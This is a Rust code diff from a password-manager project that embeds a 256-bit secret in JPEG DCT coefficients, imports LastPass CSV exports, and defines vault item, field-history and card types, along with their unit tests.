/// - Forward DCT the 8x8 block.
/// - Embed 12 bits per block into the mid-frequency coefficients via QIM.
/// - Inverse DCT to write the modified spatial-domain values back.
/// 5. Reconstruct the JPEG with the modified Y channel and original Cb/Cr.
///
/// # Errors
///
/// - [`RelicarioError::ImageTooSmall`] if the image is below minimum dimensions
/// or does not have enough blocks for reliable embedding.
/// - [`RelicarioError::ImgSecret`] if the image cannot be decoded or re-encoded.
pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
enforce_dimension_cap(carrier_jpeg)?;
let mut y = extract_y_channel(carrier_jpeg)?;
if (y.width as u32) < MIN_DIMENSION || (y.height as u32) < MIN_DIMENSION {
return Err(IdfotoError::ImageTooSmall {
return Err(RelicarioError::ImageTooSmall {
min_width: MIN_DIMENSION,
min_height: MIN_DIMENSION,
actual_width: y.width as u32,
@@ -374,7 +680,7 @@ pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
let total_blocks = region.blocks_x * region.blocks_y;
if total_blocks < BLOCKS_PER_COPY * MIN_COPIES {
return Err(IdfotoError::ImageTooSmall {
return Err(RelicarioError::ImageTooSmall {
min_width: MIN_DIMENSION,
min_height: MIN_DIMENSION,
actual_width: y.width as u32,
@@ -382,12 +688,15 @@ pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
});
}
// Cap at 50 copies -- beyond that, additional redundancy has diminishing
// returns and the image modification becomes more visible.
let num_copies = (total_blocks / BLOCKS_PER_COPY).min(50);
let bits = bytes_to_bits(secret);
let blocks_needed = num_copies * BLOCKS_PER_COPY;
let embed_blocks = select_embed_blocks(&region, blocks_needed);
// Embed each copy of the secret into its assigned blocks
for copy in 0..num_copies {
for block_idx in 0..BLOCKS_PER_COPY {
let global_idx = copy * BLOCKS_PER_COPY + block_idx;
@@ -398,6 +707,8 @@ pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
let mut block = read_block(&y, bx, by, &region);
let mut dct = dct2_8x8(&block);
// Embed up to 12 bits (BITS_PER_BLOCK) in this block's
// mid-frequency DCT coefficients
for (pos_idx, &(row, col)) in EMBED_POSITIONS.iter().enumerate() {
let bit_idx = block_idx * BITS_PER_BLOCK + pos_idx;
if bit_idx >= SECRET_BITS {
@@ -414,14 +725,32 @@ pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
reconstruct_jpeg(carrier_jpeg, &y)
}
/// Extract a 256-bit secret from a (possibly re-encoded/cropped) JPEG.
/// Extract a 256-bit secret from a (possibly re-encoded or mildly cropped) JPEG.
///
/// Delegates to [`extract_with_crop_recovery`] which first tries canonical
/// extraction (assuming the image has its original dimensions), then falls back
/// to searching for plausible original dimensions if the image was cropped.
///
/// # Errors
///
/// - [`RelicarioError::ExtractionFailed`] if no valid secret could be recovered
/// (image was never watermarked, or was too heavily recompressed/cropped).
pub fn extract(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
enforce_dimension_cap(jpeg_bytes)?;
extract_with_crop_recovery(jpeg_bytes)
}
/// Try to extract using a specific assumed original image size and pixel offset.
/// `orig_w`/`orig_h` determine the block layout (which blocks, how many copies).
/// `dx`/`dy` shift all block positions when reading from the actual image.
/// Attempt to extract the secret assuming specific original image dimensions
/// and a pixel offset (for crop recovery).
///
/// The block grid is computed based on `orig_w`/`orig_h` (the assumed original
/// dimensions), and then each block position is shifted by `dx`/`dy` when
/// reading from the actual (possibly cropped) image.
///
/// Uses majority voting across all copies: for each of the 256 bit positions,
/// the extracted bit from every copy votes, and the majority wins. A minimum
/// confidence threshold of 60% is required -- below that, the extraction is
/// considered unreliable and fails.
fn try_extract_with_layout(
y: &YChannel,
orig_w: usize,
@@ -431,13 +760,14 @@ fn try_extract_with_layout(
) -> Result<[u8; 32]> {
let positions = compute_embed_positions(orig_w, orig_h);
if positions.is_empty() {
return Err(IdfotoError::ExtractionFailed);
return Err(RelicarioError::ExtractionFailed);
}
let region = compute_region(orig_w, orig_h);
let total_blocks = region.blocks_x * region.blocks_y;
let num_copies = (total_blocks / BLOCKS_PER_COPY).min(50);
// Accumulate votes for each bit position across all copies
let mut votes_one = vec![0usize; SECRET_BITS];
let mut votes_total = vec![0usize; SECRET_BITS];
@@ -447,6 +777,8 @@ fn try_extract_with_layout(
if global_idx >= positions.len() {
break;
}
// Apply crop offset to find the actual block position in the
// (possibly cropped) image
let (orig_px, orig_py) = positions[global_idx];
let actual_px = orig_px as isize + dx;
let actual_py = orig_py as isize + dy;
@@ -462,6 +794,7 @@ fn try_extract_with_layout(
};
let dct = dct2_8x8(&block);
// Extract bits from mid-frequency coefficients and tally votes
for (pos_idx, &(row, col)) in EMBED_POSITIONS.iter().enumerate() {
let bit_idx = block_idx * BITS_PER_BLOCK + pos_idx;
if bit_idx >= SECRET_BITS {
@@ -476,18 +809,20 @@ fn try_extract_with_layout(
}
}
// Majority vote with confidence check
// Majority vote with confidence check: each bit must have >= 60% agreement
// across copies. Below that threshold, the watermark is considered too
// degraded for reliable extraction.
let mut result_bits = vec![0u8; SECRET_BITS];
for i in 0..SECRET_BITS {
if votes_total[i] == 0 {
return Err(IdfotoError::ExtractionFailed);
return Err(RelicarioError::ExtractionFailed);
}
let ones = votes_one[i];
let zeros = votes_total[i] - ones;
let majority = ones.max(zeros);
let confidence = majority as f64 / votes_total[i] as f64;
if confidence < 0.60 {
return Err(IdfotoError::ExtractionFailed);
return Err(RelicarioError::ExtractionFailed);
}
result_bits[i] = if ones > zeros { 1 } else { 0 };
}
@@ -498,14 +833,27 @@ fn try_extract_with_layout(
Ok(secret)
}
/// Extract with automatic crop recovery.
///
/// Tries extraction in order of decreasing likelihood:
///
/// 1. **Uncropped**: assume the image has its original dimensions (most common case).
/// 2. **Width-only crop (8-pixel aligned)**: try original widths from current up to
/// +20%, stepping by 8 pixels (JPEG block alignment). Assumes right-side crop
/// (left edge unchanged, dx=0).
/// 3. **Height-only crop (8-pixel aligned)**: same strategy for vertical crops.
/// 4. **Width crop (non-aligned)**: finer 1-pixel step for non-block-aligned crops.
///
/// The search space is limited to 20% expansion in each dimension, which covers
/// the 15% crumple zone plus some margin for measurement error.
fn extract_with_crop_recovery(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
let y = extract_y_channel(jpeg_bytes)?;
if (y.width as u32) < MIN_DIMENSION || (y.height as u32) < MIN_DIMENSION {
return Err(IdfotoError::ExtractionFailed);
return Err(RelicarioError::ExtractionFailed);
}
// Try assuming the image is uncropped (original size = current size)
// Try 1: assume the image is uncropped (original size = current size)
if let Ok(secret) = try_extract_with_layout(&y, y.width, y.height, 0, 0) {
return Ok(secret);
}
@@ -522,7 +870,7 @@ fn extract_with_crop_recovery(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
let max_orig_w = (y.width as f64 * 1.20) as usize;
let max_orig_h = (y.height as f64 * 1.20) as usize;
// Try width-only crops first (most common: crop from one side)
// Try 2: width-only crops, block-aligned steps (most common crop scenario)
for orig_w in (y.width..=max_orig_w).step_by(BLOCK_SIZE) {
// Right-side crop: dx = 0 (left edge unchanged)
if let Ok(secret) = try_extract_with_layout(&y, orig_w, y.height, 0, 0) {
@@ -530,24 +878,24 @@ fn extract_with_crop_recovery(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
}
}
// Try height-only crops
// Try 3: height-only crops, block-aligned steps
for orig_h in (y.height..=max_orig_h).step_by(BLOCK_SIZE) {
if let Ok(secret) = try_extract_with_layout(&y, y.width, orig_h, 0, 0) {
return Ok(secret);
}
}
// Try width crops with finer step (non-8-aligned crops)
// Try 4: width crops with finer step (non-8-aligned crops are rarer but possible)
for orig_w in (y.width..=max_orig_w).step_by(1) {
if orig_w % BLOCK_SIZE == 0 {
continue; // already tried
continue; // already tried in step 2
}
if let Ok(secret) = try_extract_with_layout(&y, orig_w, y.height, 0, 0) {
return Ok(secret);
}
}
Err(IdfotoError::ExtractionFailed)
Err(RelicarioError::ExtractionFailed)
}
// ─── Tests ───────────────────────────────────────────────────────────────────
@@ -732,6 +1080,30 @@ mod tests {
assert_eq!(extracted, secret);
}
#[test]
fn rejects_oversized_image_without_full_decode() {
// Synthesize a JPEG header claiming 20000x20000 dimensions.
// The actual pixel data is irrelevant — the dimension peek should bail out
// before decoding any pixels.
let jpeg = build_oversized_jpeg_header(20_000, 20_000);
let result = extract(&jpeg);
assert!(matches!(result, Err(RelicarioError::ImgSecret(ref msg)) if msg.contains("dimension")));
}
fn build_oversized_jpeg_header(width: u16, height: u16) -> Vec<u8> {
// SOI + APP0 JFIF + SOF0 declaring width/height + SOS with minimal data + EOI
let mut v = vec![0xFF, 0xD8]; // SOI
v.extend_from_slice(&[0xFF, 0xE0, 0x00, 0x10]); // APP0
v.extend_from_slice(b"JFIF\0");
v.extend_from_slice(&[0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00]);
v.extend_from_slice(&[0xFF, 0xC0, 0x00, 0x11, 0x08]); // SOF0
v.extend_from_slice(&height.to_be_bytes());
v.extend_from_slice(&width.to_be_bytes());
v.extend_from_slice(&[0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01]);
v.extend_from_slice(&[0xFF, 0xD9]); // EOI
v
}
#[test]
fn embed_extract_survives_10pct_crop() {
let jpeg = make_test_jpeg(400, 300);

View File

@@ -0,0 +1,220 @@
//! LastPass CSV importer.
//!
//! Pure: takes CSV bytes, returns a vector of `Item` (with freshly-minted
//! IDs and timestamps) plus a vector of `ImportWarning` for skipped or
//! partially-imported rows. Failed rows never abort the whole import;
//! the only fatal error is a missing or malformed header.
//!
//! Spec: docs/superpowers/specs/2026-04-27-relicario-import-export-design.md
//! (D10D13 + the LastPass field-mapping table).
use serde::{Deserialize, Serialize};
use url::Url;
use zeroize::Zeroizing;
use crate::error::{RelicarioError, Result};
use crate::item::Item;
use crate::item_types::{ItemCore, LoginCore, SecureNoteCore};
/// LastPass column order. The header row must contain these exact column
/// names in this exact order.
pub const EXPECTED_HEADER: &[&str] =
&["url", "username", "password", "totp", "extra", "name", "grouping", "fav"];
/// A row that was skipped, or partially imported with a downgrade
/// (e.g., login imported without TOTP).
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ImportWarning {
/// 1-indexed row number in the CSV body (the header is row 0).
pub row: usize,
/// Title from the row's `name` column, if present and non-empty.
pub title: Option<String>,
/// Human-readable explanation, suitable for stderr / inline UI.
pub message: String,
}
/// Parse a LastPass CSV export.
///
/// Returns the parsed items (with fresh IDs and timestamps) and any
/// per-row warnings. The function only fails if the header is missing
/// or doesn't match `EXPECTED_HEADER`.
pub fn parse_lastpass_csv(csv_bytes: &[u8]) -> Result<(Vec<Item>, Vec<ImportWarning>)> {
let mut reader = csv::ReaderBuilder::new()
.has_headers(true)
.flexible(false)
.from_reader(csv_bytes);
// Validate header.
let headers = reader
.headers()
.map_err(|e| RelicarioError::ImportCsvFormat(format!("read header: {e}")))?
.clone();
if headers.len() != EXPECTED_HEADER.len()
|| headers.iter().zip(EXPECTED_HEADER).any(|(got, want)| got != *want)
{
return Err(RelicarioError::ImportCsvHeader(format!(
"expected `{}`, got `{}`",
EXPECTED_HEADER.join(","),
headers.iter().collect::<Vec<_>>().join(",")
)));
}
let mut items = Vec::new();
let mut warnings = Vec::new();
for (idx, record) in reader.records().enumerate() {
let row_num = idx + 1;
let record = match record {
Ok(r) => r,
Err(e) => {
warnings.push(ImportWarning {
row: row_num,
title: None,
message: format!("CSV parse error — skipped: {e}"),
});
continue;
}
};
let (item, warn) = map_row(&record, row_num);
if let Some(it) = item { items.push(it); }
if let Some(w) = warn { warnings.push(w); }
}
Ok((items, warnings))
}
/// Map a single CSV record. Returns:
/// - `(Some(item), None)` for a fully-imported row.
/// - `(Some(item), Some(warn))` for a partially-imported row (e.g.,
/// bad TOTP base32 — login imported without TOTP).
/// - `(None, Some(warn))` for a skipped row (missing required field).
fn map_row(
record: &csv::StringRecord,
row: usize,
) -> (Option<Item>, Option<ImportWarning>) {
let url = record.get(0).unwrap_or("").trim();
let username = record.get(1).unwrap_or("").trim();
// password and extra are deliberately NOT trimmed: leading/trailing
// whitespace is significant inside passwords and free-form notes.
let password = record.get(2).unwrap_or("");
let totp_raw = record.get(3).unwrap_or("").trim();
let extra = record.get(4).unwrap_or("");
let name = record.get(5).unwrap_or("").trim();
let group = record.get(6).unwrap_or("").trim();
let fav = record.get(7).unwrap_or("").trim();
if name.is_empty() {
return (None, Some(ImportWarning {
row,
title: None,
message: "missing `name` — skipped".into(),
}));
}
// SecureNote marker: LastPass exports notes with `url` set to "http://sn".
// The `extra` column carries the body verbatim.
if url == "http://sn" {
let mut item = Item::new(
name.to_string(),
ItemCore::SecureNote(SecureNoteCore {
body: Zeroizing::new(extra.to_string()),
}),
);
item.group = if group.is_empty() { None } else { Some(group.to_string()) };
item.favorite = fav == "1";
return (Some(item), None);
}
if password.is_empty() {
return (None, Some(ImportWarning {
row,
title: Some(name.to_string()),
message: "missing `password` — skipped".into(),
}));
}
let mut warning: Option<ImportWarning> = None;
let parsed_url = if url.is_empty() {
None
} else {
match Url::parse(url) {
Ok(u) => Some(u),
Err(_) => {
// Login still imports — URL becomes None, with a warning.
if warning.is_none() {
warning = Some(ImportWarning {
row,
title: Some(name.to_string()),
message: format!("invalid URL `{url}` — login imported without URL"),
});
}
None
}
}
};
let totp = if totp_raw.is_empty() {
None
} else {
match decode_base32_totp(totp_raw) {
Some(bytes) if !bytes.is_empty() => Some(crate::item_types::TotpConfig {
secret: Zeroizing::new(bytes),
algorithm: crate::item_types::TotpAlgorithm::Sha1,
digits: 6,
period_seconds: 30,
kind: crate::item_types::TotpKind::Totp,
}),
_ => {
if warning.is_none() {
warning = Some(ImportWarning {
row,
title: Some(name.to_string()),
message: "invalid base32 TOTP secret — login imported without TOTP"
.into(),
});
}
None
}
}
};
let mut item = Item::new(
name.to_string(),
ItemCore::Login(LoginCore {
username: if username.is_empty() { None } else { Some(username.to_string()) },
password: Some(Zeroizing::new(password.to_string())),
url: parsed_url,
totp,
}),
);
item.group = if group.is_empty() { None } else { Some(group.to_string()) };
item.favorite = fav == "1";
item.notes = if extra.is_empty() { None } else { Some(extra.to_string()) };
(Some(item), warning)
}
/// Decode a base32-encoded TOTP secret per RFC 4648, case-insensitive,
/// padding optional. Returns None if the input contains any non-alphabet
/// character (after upper-casing). Used by the LastPass importer.
fn decode_base32_totp(secret: &str) -> Option<Vec<u8>> {
const ALPHA: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
let upper = secret.trim().trim_end_matches('=').to_ascii_uppercase();
if upper.is_empty() { return None; }
let mut out = Vec::with_capacity(upper.len() * 5 / 8);
let mut buffer: u32 = 0;
let mut bits: u32 = 0;
for ch in upper.bytes() {
let idx = ALPHA.iter().position(|&a| a == ch)?;
buffer = (buffer << 5) | (idx as u32);
bits += 5;
if bits >= 8 {
bits -= 8;
out.push(((buffer >> bits) & 0xFF) as u8);
}
}
Some(out)
}

View File

@@ -0,0 +1,497 @@
//! Item envelope, sections, and custom fields.
//!
//! `FieldKind` and `FieldValue` are kept as parallel enums (rather than collapsing
//! to a single tagged enum) so the kind can be queried without inspecting the value.
//! Validation invariant: kind and value's discriminants must match — enforced at
//! construction (`Field::new`) and during deserialization (`Field::validate`).
use chrono::NaiveDate;
use serde::{Deserialize, Serialize};
use url::Url;
use zeroize::Zeroizing;
use crate::error::{RelicarioError, Result};
use crate::ids::{AttachmentId, FieldId};
use crate::item_types::TotpConfig;
use crate::time::MonthYear;
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum FieldKind {
Text,
Multiline,
Password,
Concealed,
Url,
Email,
Phone,
Date,
MonthYear,
Totp,
Reference,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(tag = "kind", content = "value", rename_all = "snake_case")]
pub enum FieldValue {
Text(String),
Multiline(String),
Password(Zeroizing<String>),
Concealed(Zeroizing<String>),
Url(Url),
Email(String),
Phone(String),
Date(NaiveDate),
MonthYear(MonthYear),
Totp(TotpConfig),
Reference(AttachmentId),
}
impl FieldValue {
pub fn kind(&self) -> FieldKind {
match self {
FieldValue::Text(_) => FieldKind::Text,
FieldValue::Multiline(_) => FieldKind::Multiline,
FieldValue::Password(_) => FieldKind::Password,
FieldValue::Concealed(_) => FieldKind::Concealed,
FieldValue::Url(_) => FieldKind::Url,
FieldValue::Email(_) => FieldKind::Email,
FieldValue::Phone(_) => FieldKind::Phone,
FieldValue::Date(_) => FieldKind::Date,
FieldValue::MonthYear(_) => FieldKind::MonthYear,
FieldValue::Totp(_) => FieldKind::Totp,
FieldValue::Reference(_) => FieldKind::Reference,
}
}
/// True if this kind triggers field-history capture on update.
pub fn is_history_tracked(&self) -> bool {
matches!(self, FieldValue::Password(_) | FieldValue::Concealed(_) | FieldValue::Totp(_))
}
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Field {
pub id: FieldId,
pub label: String,
pub kind: FieldKind,
pub value: FieldValue,
#[serde(default)]
pub hidden_by_default: bool,
}
impl Field {
/// Construct a field, deriving `kind` from `value`.
pub fn new(label: String, value: FieldValue) -> Self {
let kind = value.kind();
Self {
id: FieldId::new(),
label,
kind,
value,
hidden_by_default: matches!(kind, FieldKind::Password | FieldKind::Concealed),
}
}
/// Verify kind/value discriminants match. Called after deserialization.
pub fn validate(&self) -> Result<()> {
if self.kind != self.value.kind() {
return Err(RelicarioError::Format(format!(
"field {}: kind {:?} does not match value discriminant {:?}",
self.id.as_str(),
self.kind,
self.value.kind()
)));
}
Ok(())
}
}
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
pub struct Section {
#[serde(skip_serializing_if = "Option::is_none")]
pub name: Option<String>,
pub fields: Vec<Field>,
}
use std::collections::HashMap;
use crate::attachment::AttachmentRef;
use crate::ids::ItemId;
use crate::item_types::{ItemCore, ItemType};
use crate::time::now_unix;
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct FieldHistoryEntry {
pub value: Zeroizing<String>,
pub replaced_at: i64,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Item {
pub id: ItemId,
pub title: String,
pub r#type: ItemType,
#[serde(default)]
pub tags: Vec<String>,
#[serde(default)]
pub favorite: bool,
#[serde(skip_serializing_if = "Option::is_none")]
pub group: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub notes: Option<String>,
pub created: i64,
pub modified: i64,
#[serde(skip_serializing_if = "Option::is_none")]
pub trashed_at: Option<i64>,
pub core: ItemCore,
#[serde(default)]
pub sections: Vec<Section>,
#[serde(default)]
pub attachments: Vec<AttachmentRef>,
#[serde(default)]
pub field_history: HashMap<FieldId, Vec<FieldHistoryEntry>>,
}
impl Item {
/// Construct a new Item from a typed core; auto-fills id, type, timestamps.
pub fn new(title: String, core: ItemCore) -> Self {
let now = now_unix();
let r#type = core.item_type();
Self {
id: ItemId::new(),
title,
r#type,
tags: Vec::new(),
favorite: false,
group: None,
notes: None,
created: now,
modified: now,
trashed_at: None,
core,
sections: Vec::new(),
attachments: Vec::new(),
field_history: HashMap::new(),
}
}
/// Replace a custom field's value, capturing the previous value into
/// field_history if the field's kind is history-tracked.
pub fn set_field_value(&mut self, field_id: &FieldId, new_value: FieldValue) -> Result<()> {
for section in &mut self.sections {
if let Some(field) = section.fields.iter_mut().find(|f| &f.id == field_id) {
if field.value.kind() != new_value.kind() {
return Err(RelicarioError::Format(format!(
"field {}: cannot change kind from {:?} to {:?}",
field.id.as_str(), field.value.kind(), new_value.kind()
)));
}
if field.value.is_history_tracked() {
let serialized = serialize_history_value(&field.value)?;
self.field_history
.entry(field.id.clone())
.or_default()
.push(FieldHistoryEntry { value: serialized, replaced_at: now_unix() });
}
field.value = new_value;
self.modified = now_unix();
return Ok(());
}
}
Err(RelicarioError::Format(format!("field {} not found", field_id.as_str())))
}
pub fn soft_delete(&mut self) {
self.trashed_at = Some(now_unix());
self.modified = now_unix();
}
pub fn restore(&mut self) {
self.trashed_at = None;
self.modified = now_unix();
}
pub fn is_trashed(&self) -> bool {
self.trashed_at.is_some()
}
pub fn prune_history(&mut self, retention: &crate::settings::HistoryRetention, now: i64) {
use crate::settings::HistoryRetention;
for history in self.field_history.values_mut() {
match retention {
HistoryRetention::Forever => {}
HistoryRetention::LastN(n) => {
let n = *n as usize;
if history.len() > n {
let drop_count = history.len() - n;
history.drain(..drop_count);
}
}
HistoryRetention::Days(d) => {
let cutoff = now - (*d as i64) * 86_400;
history.retain(|e| e.replaced_at > cutoff);
}
}
}
}
}
/// Serialize a FieldValue to the string form stored in field_history.
fn serialize_history_value(value: &FieldValue) -> Result<Zeroizing<String>> {
let s = match value {
FieldValue::Password(p) => Zeroizing::new(p.as_str().to_owned()),
FieldValue::Concealed(c) => Zeroizing::new(c.as_str().to_owned()),
FieldValue::Totp(cfg) => {
// Store the base32-encoded secret string for human-recognizability.
let s = base32_encode(&cfg.secret);
Zeroizing::new(s)
}
_ => return Err(RelicarioError::Format("not a history-tracked kind".into())),
};
Ok(s)
}
/// Minimal RFC 4648 base32 (no padding) for TOTP secret history serialization.
fn base32_encode(bytes: &[u8]) -> String {
const ALPHA: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
let mut out = String::new();
let mut buffer: u32 = 0;
let mut bits: u32 = 0;
for &b in bytes {
buffer = (buffer << 8) | (b as u32);
bits += 8;
while bits >= 5 {
let idx = ((buffer >> (bits - 5)) & 0x1f) as usize;
out.push(ALPHA[idx] as char);
bits -= 5;
}
}
if bits > 0 {
let idx = ((buffer << (5 - bits)) & 0x1f) as usize;
out.push(ALPHA[idx] as char);
}
out
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn field_value_kind_matches() {
let v = FieldValue::Text("hello".into());
assert_eq!(v.kind(), FieldKind::Text);
}
#[test]
fn password_field_marked_history_tracked() {
assert!(FieldValue::Password(Zeroizing::new("x".into())).is_history_tracked());
assert!(FieldValue::Concealed(Zeroizing::new("x".into())).is_history_tracked());
assert!(FieldValue::Totp(TotpConfig::default()).is_history_tracked());
assert!(!FieldValue::Text("x".into()).is_history_tracked());
assert!(!FieldValue::Url(Url::parse("https://example.com").unwrap()).is_history_tracked());
}
#[test]
fn field_new_derives_kind_from_value() {
let f = Field::new("Password".into(), FieldValue::Password(Zeroizing::new("x".into())));
assert_eq!(f.kind, FieldKind::Password);
assert!(f.hidden_by_default);
}
#[test]
fn field_new_text_not_hidden() {
let f = Field::new("Username".into(), FieldValue::Text("alice".into()));
assert!(!f.hidden_by_default);
}
#[test]
fn field_validate_catches_kind_value_mismatch() {
let f = Field {
id: FieldId::new(),
label: "x".into(),
kind: FieldKind::Password,
value: FieldValue::Text("not actually a password".into()),
hidden_by_default: false,
};
assert!(f.validate().is_err());
}
#[test]
fn field_round_trips() {
let f = Field::new("Recovery code".into(), FieldValue::Concealed(Zeroizing::new("abcd-efgh".into())));
let json = serde_json::to_string(&f).unwrap();
let parsed: Field = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.label, "Recovery code");
assert_eq!(parsed.kind, FieldKind::Concealed);
parsed.validate().unwrap();
}
#[test]
fn section_round_trip() {
let s = Section {
name: Some("Recovery codes".into()),
fields: vec![
Field::new("code1".into(), FieldValue::Concealed(Zeroizing::new("abc".into()))),
Field::new("code2".into(), FieldValue::Concealed(Zeroizing::new("def".into()))),
],
};
let json = serde_json::to_string(&s).unwrap();
let parsed: Section = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.name.as_deref(), Some("Recovery codes"));
assert_eq!(parsed.fields.len(), 2);
}
#[test]
fn new_item_has_timestamps_and_id() {
let core = ItemCore::SecureNote(crate::item_types::SecureNoteCore::default());
let item = Item::new("note".into(), core);
assert_eq!(item.id.0.len(), 16);
assert_eq!(item.r#type, ItemType::SecureNote);
assert!(item.created > 0);
assert_eq!(item.created, item.modified);
assert!(item.field_history.is_empty());
}
#[test]
fn soft_delete_and_restore_round_trip() {
let core = ItemCore::Login(crate::item_types::LoginCore::default());
let mut item = Item::new("login".into(), core);
assert!(!item.is_trashed());
item.soft_delete();
assert!(item.is_trashed());
item.restore();
assert!(!item.is_trashed());
}
#[test]
fn set_field_value_captures_history_for_password() {
let core = ItemCore::Login(crate::item_types::LoginCore::default());
let mut item = Item::new("login".into(), core);
let pw_field = Field::new("Password".into(), FieldValue::Password(Zeroizing::new("old".into())));
let pw_id = pw_field.id.clone();
item.sections.push(Section { name: None, fields: vec![pw_field] });
item.set_field_value(&pw_id, FieldValue::Password(Zeroizing::new("new".into()))).unwrap();
let hist = item.field_history.get(&pw_id).expect("history should exist");
assert_eq!(hist.len(), 1);
assert_eq!(hist[0].value.as_str(), "old");
}
#[test]
fn set_field_value_does_not_capture_history_for_text() {
let core = ItemCore::Login(crate::item_types::LoginCore::default());
let mut item = Item::new("login".into(), core);
let f = Field::new("nickname".into(), FieldValue::Text("a".into()));
let fid = f.id.clone();
item.sections.push(Section { name: None, fields: vec![f] });
item.set_field_value(&fid, FieldValue::Text("b".into())).unwrap();
assert!(item.field_history.get(&fid).is_none_or(|v| v.is_empty()));
}
#[test]
fn set_field_value_rejects_kind_change() {
let core = ItemCore::Login(crate::item_types::LoginCore::default());
let mut item = Item::new("login".into(), core);
let f = Field::new("x".into(), FieldValue::Text("a".into()));
let fid = f.id.clone();
item.sections.push(Section { name: None, fields: vec![f] });
let err = item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("p".into())));
assert!(err.is_err());
}
#[test]
fn item_serializes_with_minimal_optional_fields() {
let core = ItemCore::SecureNote(crate::item_types::SecureNoteCore::default());
let item = Item::new("note".into(), core);
let json = serde_json::to_string(&item).unwrap();
// No "trashed_at" or "group" or "notes" should appear when None
assert!(!json.contains("trashed_at"));
assert!(!json.contains("\"group\""));
}
#[test]
fn full_item_round_trip() {
let core = ItemCore::Login(crate::item_types::LoginCore {
username: Some("alice".into()),
password: Some(Zeroizing::new("hunter2".into())),
url: Some(Url::parse("https://github.com").unwrap()),
totp: None,
});
let mut item = Item::new("GitHub".into(), core);
item.tags = vec!["work".into()];
item.favorite = true;
item.notes = Some("notes".into());
let json = serde_json::to_string(&item).unwrap();
let parsed: Item = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.title, "GitHub");
assert_eq!(parsed.tags, vec!["work".to_string()]);
assert!(parsed.favorite);
match parsed.core {
ItemCore::Login(l) => {
assert_eq!(l.username.as_deref(), Some("alice"));
}
other => panic!("expected Login, got {:?}", other),
}
}
#[test]
fn prune_history_keeps_last_n() {
use crate::settings::HistoryRetention;
let core = ItemCore::Login(crate::item_types::LoginCore::default());
let mut item = Item::new("x".into(), core);
let f = Field::new("p".into(), FieldValue::Password(Zeroizing::new("v0".into())));
let fid = f.id.clone();
item.sections.push(Section { name: None, fields: vec![f] });
for i in 1..=5 {
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new(format!("v{i}")))).unwrap();
}
assert_eq!(item.field_history[&fid].len(), 5);
item.prune_history(&HistoryRetention::LastN(3), 0);
assert_eq!(item.field_history[&fid].len(), 3);
// Keeps the MOST RECENT 3
assert_eq!(item.field_history[&fid][0].value.as_str(), "v2");
}
#[test]
fn prune_history_drops_old_entries_by_days() {
use crate::settings::HistoryRetention;
let core = ItemCore::Login(crate::item_types::LoginCore::default());
let mut item = Item::new("x".into(), core);
let f = Field::new("p".into(), FieldValue::Password(Zeroizing::new("v0".into())));
let fid = f.id.clone();
item.sections.push(Section { name: None, fields: vec![f] });
let now = 1_000_000_000;
item.field_history.insert(fid.clone(), vec![
FieldHistoryEntry { value: Zeroizing::new("old".into()), replaced_at: now - 100 * 86_400 },
FieldHistoryEntry { value: Zeroizing::new("recent".into()), replaced_at: now - 86_400 },
]);
item.prune_history(&HistoryRetention::Days(30), now);
assert_eq!(item.field_history[&fid].len(), 1);
assert_eq!(item.field_history[&fid][0].value.as_str(), "recent");
}
#[test]
fn prune_history_forever_keeps_all() {
use crate::settings::HistoryRetention;
let core = ItemCore::Login(crate::item_types::LoginCore::default());
let mut item = Item::new("x".into(), core);
item.field_history.insert(FieldId::new(), vec![
FieldHistoryEntry { value: Zeroizing::new("a".into()), replaced_at: 0 },
FieldHistoryEntry { value: Zeroizing::new("b".into()), replaced_at: 0 },
]);
item.prune_history(&HistoryRetention::Forever, 1_000_000_000);
assert_eq!(item.field_history.values().next().unwrap().len(), 2);
}
}

View File

@@ -0,0 +1,68 @@
//! Card: number, holder, expiry (MonthYear), CVV, PIN, kind.
use serde::{Deserialize, Serialize};
use zeroize::Zeroizing;
use crate::time::MonthYear;
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
pub struct CardCore {
#[serde(skip_serializing_if = "Option::is_none")]
pub number: Option<Zeroizing<String>>,
#[serde(skip_serializing_if = "Option::is_none")]
pub holder: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub expiry: Option<MonthYear>,
#[serde(skip_serializing_if = "Option::is_none")]
pub cvv: Option<Zeroizing<String>>,
#[serde(skip_serializing_if = "Option::is_none")]
pub pin: Option<Zeroizing<String>>,
#[serde(default)]
pub kind: CardKind,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
#[serde(rename_all = "snake_case")]
pub enum CardKind {
#[default]
Credit,
Debit,
Gift,
Loyalty,
Other,
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn card_full_round_trip() {
let card = CardCore {
number: Some(Zeroizing::new("4111111111111111".into())),
holder: Some("Alice Doe".into()),
expiry: Some(MonthYear::new(12, 2030).unwrap()),
